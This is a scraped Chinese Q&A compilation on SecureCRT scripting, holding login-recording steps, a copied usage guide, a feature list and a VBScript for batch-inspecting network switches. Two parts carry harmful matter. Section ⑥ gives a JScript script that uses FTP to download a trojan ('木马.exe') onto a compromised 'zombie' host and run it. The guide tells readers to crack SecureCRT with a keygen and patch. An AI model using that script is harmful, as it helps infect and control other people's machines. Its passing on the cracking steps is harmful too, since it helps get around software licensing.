crt自动脚本
① secureCrt实现通过script-脚本实现自动登录
获得脚本的方式: 自己编写脚本 或者 通过 secureCtr录制脚本的工具获得脚本
此处只说录制脚本的方法
1.打卡一个session会话
2.script-> Start Recording Script
3.在窗口中输入一连串的命令
4.命令输完之后 script-> Stop Recording Script 将录制的script进行保存
方式1: script->run 选择脚本进行运行 前提: 打开一个新的session
方式2: 将script脚本映射到按钮上 先在view选项中勾选Button Bar 在button 区域 右键 new Button;
buttont创建好之后; 新打开一个session 点击按钮就实现自动登录了
方式3: 将script脚本映射到快捷键上 如 ctrl+a ctrl+b 或者 ctrl+shift+c 等
自己觉得这种方式,如果要登录的平台太多就不太使用了,毕竟快捷键还需要记录,哪个对应哪个也会混淆
操作步骤:
Options -> session options
刚开始是想寻找的方式是
打开session会话,输入关键词之后自动执行关键词映射的脚本,实现自动登录
但是并没有查找到相关的资料,目前在使用方式二-通过按钮映射
知道如何实现关键词登录的小伙伴,辛苦留言
② secureCRT中如何用 vbscript脚本实现SSH自动登录
SSH的英文全称是SecureShell传统的网络服务程序，如：ftp和telnet在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，别有用心的人非常容易就可以截获这些口令和数据。而通过使用SSH客户端与服务器端通讯时，用户名及口令均进行了加密，有效防止了对口令的窃听。同时通过SSH的数据传输是经过压缩的，所以可以提高数据的传输速度，既然如此我们为什么不使用它呢。SSH是由客户端和服务端的软件组成的，有两个不兼容的版本分别是：1.x和2.x。至于具体如何安装服务器端，普通用户就不需要关心了。一、安装1、安装首先要下载SecureCRT，目前最新的版本为6.1.3（截止到2008年2月，其破解版本TBE或AGAiN），我们以5.53版为例进行介绍，下载安装文件scrt553.exe和破解文件keygen.exe。安装过程很简单，运行scrt553.exe，只要“下一步”即可，安装过程中可以看到SecureCRT支持以下协议：SecureCRT使用说明-脚本之家安装完成后，第一次启动SecureCRT会有如下提示：SecureCRT使用说明-脚本之家用户需要指定一个目录，用来存放SecureCRT的配置信息。此目录默认为C:\DocumentsandSettings\用户名\ApplicationData\VanDyke\Config，如果是升级SecureCRT需要保持此文件夹与旧版本一致，如果重装系统，一定要备份此目录。如果需要更改，启动SecureCRT后点击Options=>Globalptions=>General修改Configurationfolder即可。2、破解未破解版本，只有30天的使用期。关闭SecureCRT，将keygen.exe拷贝到安装目录C:\ProgramFiles\SecureCRT中，运行它，填写Name，Company后点击Generate得到Serial,Date,LicenseKey信息，点击Patch按钮，破解并备份SecureCRT主程序。运行SecureCRT，点击Help=>EnterLicenseData…，填写从keygen得到的注册信息即可。一般AGAiN破解版本期限一年。二、基本设置修改设置为了SecureCRT用起来更方便，需要做一些设置，需要修改的有如下几处：1、退出主机自动关闭窗口Options=>Globalptions=>General=>DefaultSession=>EditDefaultSettingsSecureCRT使用说明-脚本之家Terminal中将Closeondisconnect选上，当用户从主机中退出后可以自动关闭当前连接的窗口。SecureCRT使用说明-脚本之家2、修改默认卷屏行数当你做一个操作，屏幕输出有上百行，当需要将屏幕回翻时，这个设置会有很大帮助，默认为500行，可以改为10000行，不用担心找不到了。Terminal=>Emulation=>Scrollback修改为10000。SecureCRT使用说明-脚本之家3、修改SFTP默认下载路径（可选）：对于使用SSH的连接中，可以使用SFTP下载文件，在这里可以设置文件的下载目录（默认为下载到“我的文档”中）Connection=>SSH2=>SFTPTab=>Initialdirectories=>LocaldirectorySecureCRT使用说明-脚本之家4、修改Xmodem/Zmodem上传下载路径（可选）SecureCRT可以使用Xmodem/Zmodem方便的上传和下载文件。在Sessionoptions=>Xmodem/Zmodem=>Directories中设置5、拷贝与粘贴的设置通过鼠标操作即可拷贝或粘贴所需内容是一个非常方便的设置Options=>Globalptions=>Terminal=>Mouse选中Copyonselect和Pasteonmiddlebutton这样设置后，只要用鼠标选中所需内容，则将内容拷贝到剪切板中，点击鼠标中键即可粘贴内容。SecureCRT使用说明-脚本之家另外可以设置使用Windows下的拷贝粘贴快捷键，Options=>Globalptions=>General=>DefaultSession=>EditDefaultSettings=>Terminal=>Mappedkeys=>使用说明-脚本之家6、Tabs设置从Secure5.0以后，增加了Tabs（标签）选项，多个连接可以在同一个窗口下打开，类似IE7.0的风格。将Double-click选项修改为CloseTab，双击标签可关闭连接窗口。SecureCRT使用说明-脚本之家三、界面介绍1、菜单1）File文件Connect连接，打开一个连接或者编辑已有的连接，创建新连接。QuickConnect快速连接，快速连接对话框，快速连接主机的最便捷方式。ConnectinTab在Tab中打开一个新的会话窗口。CloneSession克隆当前会话窗口。ConnectSFTPTab打开SFTP窗口，对于SSH连接，此选项可用。在此会话窗口中可使用SFTP命令传输文件。Reconnect重新连接Disconnect中断当前会话窗口的连接LogSession把当前窗口的会话记录到log文件中。RawLogSession将更详细的会话记录到log文件中，包括服务器更详细的响应信息。TraceOptions在log文件中记录协议会话信息选项。（包括客户端与主机互相连接时的一些信息内容）2）Edit编辑拷贝粘贴等3)View视图显示各种工具条4)Options选项包括全局选项和Session选项5)Transfer传递文件使用Xmodem/Zmodem上传下载文件6)Script.脚本运行一个脚本文件，或记录一个新的脚本。（类似Word中的宏功能）7)Tools工具键盘映射编辑，密钥生成工具等8)Help帮助2、对话框和按钮点击File=>Connect可出现Connect对话框。从左至右按钮依次为：连接（激活选中的连接条目）；快速连接（快捷连接新的主机）；新建连接（在对话框中新增一个连接条目）；剪切；复制；粘贴；删除（对话框中的条目）；新建文件夹，属性（显示选中条目的属性），创建条目的桌面快捷方式，帮助。SecureCRT使用说明-脚本之家Connect对话框下方有两个选项：Showdialogonstart(启动SecureCRT时显示Connect对话框)；Openinatab(以新标签卡的形式打开一个会话)，选中此选项，新的会话窗口如下图所示：在linux主机下，可以使用Xmodem/Zmodem方便的上传和下载文件基本命令：sz下载文件到本地；rz上传本地文件到主机。5、其它技巧1）使用脚本来进行重复性工作可以像word的宏一样，把你的重复性操作记录为一个脚本文件Script.=>StartRecordingScript，开始记录Script.=>StopRecordingScript，停止记录，Saveas…保存成script文件。下次调用时Script.=>Run=>SelectScript.torun…SecureCRT使用说明-脚本之家2）使用Mapkey来进行重复输入工作可以设置为全局选项（对所有连接都有效），也可以只设置为Session选项，如下图Options=>Sessionptions=>Terminal=>Mappedkeys=>Mapakey，出现MapKey对话框SecureCRT使用说明-脚本之家SecureCRT使用说明-脚本之家例如，单击F12键，在SendString输入你要经常重复使用的命令，okSecureCRT使用说明-脚本之家则下次在会话窗口中点击F12键将直接输入df–m3）自动登录以登录一个Telnet的主机为例，Sessionptions=>Connection=>LogonScripts=>Automatelogon,在login后的send中输入用户名，在Password后的send中输入密码。则可实现自动登录。SecureCRT使用说明-脚本之家用SecureCRT来上传和下载数据SecureCRT可以使用linux下的zmodem协议来快速的传送文件，只要设置一下上传和下载的默认目录就行options-->sessionoptions-->filetransfer下可以设置上传和下载的目录剩下的只要在用SecureCRT登陆linux终端的时候：发送文件到客户端：szfilenamezmodem接收可以自行启动.从客户端上传文件到linux服务端：只要服务端执行，rz然后在SecureCRT里选文件发送，协议zmodem。
③ crt支持哪些脚本
Secure[1]CRT是一款支持SSH（SSH1和SSH2）的终端仿真程序，简单的说是Windows下登录UNIX或Linux服务器主机的软件。SecureCRT支持SSH，同时支持Telnet和rlogin协议。SecureCRT是一款用于连接运行包括Windows、UNIX和VMS的理想工具。通过使用内含的VCP命令行程序可以进行加密文件的传输。有流行CRTTelnet客户机的所有特点,包括:自动注册、对不同主机保持不同的特性、打印功能、颜色设置、可变屏幕尺寸、用户定义的键位图和优良的VT100,VT102,VT220和ANSI竞争.能从命令行中运行或从浏览器中运行.其它特点包括文本手稿、易于使用的工具条、用户的键位图编辑器、可定制的ANSI颜色等.SecureCRT的SSH协议支持DES,3DES和RC4密码和密码与RSA鉴别.
. 协议支持:
支持 SSH1，SSH2，Telnet，RLogin，Serial，和 TAPI 协议。
. Secure Shell：
Secure Shell 加密登录和会话数据，包括以下支持：
- 端口转发使 TCP/IP 数据更安全
- 口令，公钥，键盘交互和 Kerberos 验证
- AES，Twofish，Blowfish，3DES，RC4，和 DES 加密
- X11 转发
. 文件传输工具：
VCP 和 VSFTP 命令行公用程序让使用 SFTP 的文件传输更安全。
. 脚本支持：
支持 VBScript 和 JScript 脚本语言。
④ 谁能给一个SecureCRT的vbs脚本函数使用说明
如果真去写VBS的话其实是比较累的，对于这种自动登录自动配置的操作建议使用脚本录制和脚本执行来实现，简单明了。
⑤ 如何使用SecureCRT录制自动脚本
输入登录的命令
.UTF-8
su-username
Password:
结束录制
Script -> Stop Recording Script
把脚本存成你喜欢的名字，例如Script.vbs
设置登录脚本
选中会话，右键Properties -> Connection -> Logon Scripts:
在“Logon scrip”前打钩，选中Scrip
⑥ 求SecureCRT脚本登陆肉鸡
#$language="JScript"
#$interface="1.0"
if(crt.session.Connected)
{
crt.Screen.WaitForString (">");
crt.Screen.Send("ftp FTP地址\r");
crt.Screen.WaitForString (":");
crt.Screen.Send("帐号\r");
crt.Screen.WaitForString (":");
crt.Screen.Send("密码\r");
crt.Screen.WaitForString (".");
crt.Screen.Send("get 木马.exe c:\\木马.exe\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("bye\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("c:\\木马.exe\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("c:\\木马.exe\r");
}
这样回自动登陆 FTP 下载木马 然后 退出FTP 运行木马`..
再者之前必须要 设置正确SecureCRT .. ...要将SecureCRT设置为开启先登陆telnet 模式..还必须 让它自动发送回车..帐号密码也得设置...
⑦ SecureCRT远程登录Unix主机时(telnet和ssh)能不能自动输入账号和密码，然后怎样让其自动执行脚本，谢谢啦
可以，会话选项->登录脚本->自动登录和自动脚本，随你了！
SSH本来就是自动能存贮密码的呀，不用设置的。
⑧ VBS脚本，登录CRT脚本该怎么写
# $language = "VBScript"
# $interface = "1.0"
'=====================================================
' 山东**集团
' By Klsjnh
' Ver 0.5
' 2014.10.22 21:44
'=====================================================
' 从列表中读取交换机地址
' v0.5 修改了 巡检中错误会停止的错误
' 修改了 寻找 more的方式
'
Sub Main
On Error Resume Next '出错忽略
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim objFso,objFile,strLine,aryParams
Set objFso= CreateObject("Scripting.FileSystemObject")
Set objFile= objFso.OpenTextFile("D:Klsjnh网络脚本iplist.ini",Forreading, False )
crt.Screen.Synchronous = True
strFolder=createFolder & ""
DO While objFile.AtEndOfStream <> True
strLine = objFile.ReadLine
aryParams=Split(strLine)
crt.Session.Connect "/TELNET " & aryParams(0)
If crt.Session.Connected Then
crt.session.LogFileName = strFolder & aryParams(0) & "_" & Replace(Date,"/","-") & ".txt"
crt.session.Log(true)
If aryParams(1) = 1 Then '登陆模式 1 telnet 密码
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
End If
If aryParams(1) = 2 Then '登陆模式 2 特权模式
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
crt.Screen.WaitForString ">"
crt.Screen.Send "su" & vbcr
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
End If
'================================巡检部分================================
crt.Screen.WaitForString ">"
crt.Screen.Send "dis log" & vbcr
Do Until crt.Screen.WaitForString("---- More ----",2) <> -1
crt.Screen.Send " " & vbcr
Loop
'========================================================================
crt.Session.Disconnect
crt.session.Log(False)
Else
appendTextFile "发生错误： " & aryParams(0) & " 。(" & now() & ")"
End If
Loop
If Err.Number = 0 Then
crt.Dialog.MessageBox("所有交换机巡检成功....")
Else
crt.Dialog.MessageBox("所有交换机巡检完成，部分交换机有错误....")
End If
crt.Screen.Synchronous = False
End Sub
Public Function createFolder() '创建以当前日期为名的 文件夹
Dim objFso,objFolder,strFolderName
Set objFso = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFso.getfolder("D:Klsjnh网络巡检")
strFolderName = now()
strFolderName = Left(strFolderName,InStr(strFolderName,Chr(32))) '取空格之前的部分
strFolderName = Mid(strFolderName,6,Len(strFoldername)-6) '取日期
strFolderName = Replace(strFolderName,"/","_")
strFolderName = objFolder & "" & strFolderName
If objFso.FolderExists(strFolderName)<>True Then
objFso.CreateFolder(strFolderName)
End If
createFolder = strFolderName
End Function
Public Function appendTextFile(strFileText) '打开文件追加
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim objFso,objFile,strLine
Set objFso = CreateObject("Scripting.FileSystemObject")
strFilePath = "D:Klsjnh网络交换机巡检错误日志.log"
Set objFile = objFso.OpenTextFile(strFilePath,ForAppending, True )
objFile.WriteLine strFileText
objFile.close
Set objFile = Nothing
Set objFso = Nothing
End Function